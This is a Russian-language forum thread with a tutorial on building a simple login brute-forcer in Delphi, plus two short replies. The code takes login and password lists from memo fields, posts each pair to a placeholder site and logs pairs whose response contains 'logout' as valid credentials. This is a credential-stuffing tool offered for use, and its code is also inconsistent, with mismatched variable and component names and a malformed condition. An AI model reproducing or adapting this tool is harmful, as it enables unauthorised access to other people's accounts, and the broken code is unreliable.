Простой пример создания бруттера

[>A1RN1kE<]

Добрый день!
В этой теме я покажу простой пример бруттера,без всяких накруток, без потока и тп
Что нам для начала понадобится:
1.Кидаем на форму button,idhttp,3memo.
2.Объявляем глобальные переменные вот такие:

var
post,get:string;//Это у нас сама отправка пакетов
data:tstringlist;//Это список в котором будет хранится что мы отправляем через пост запрос
l,p:integer;//Ну а это нам поможет в ходе логинов и поролей

3.Настраиваем idhttp:

HandleRedirects ставим значение true

4.Далее создаем процедуру и в ней пишем:

procedure TForm1.Button1Click(Sender: TObject);
begin
for l := 0 to Memo1.Lines.Count - 1 do //Создаем цикл который перебирает логины
for i := 0 to memo2.lines.count-1 do //А этот цикл будет перебирать пароли 
begin 
data:=tstringlist.Create; //Создаем список   
data.Add('email='+mmo1.Lines[l]);//Берем Логины с memo1
data.Add('password='+form1.mmo2.Lines[p]);//Берем Пароли с memo2
post:=idhtp1.Post('http://blabla.ru',data); // Далее отправляем пост запрос с подключённым списком  
get:=idhtp1.Get('http://blabla.ru');//Отправляем гет запрос чтобы мы могли спарсить что нибудь для проверки валидности   
if Pos('logout',get)0 then //Собственно парсим надпись logout,тобишь если логаут в гет запросе присутствует тогда   
begin
mmo3.Lines.Add(mmo1.Lines[l]+';'+mmo2.Lines[p]);
end
else
//а тут уже по желанию нужно ли записывать не валид или нет
end;
end;

Вот и всё..
Особая благодарность ''gum_classis''
Всем спасибо...
​

 

[ProstaK1]

Спасибо
ошибки лучше по сложнее сделай
Только не вижу какое сообщение должно выводиться при гуде

 

[Gum4ik]

Ухх сколько же лет назад, я писал тебе этот исход?)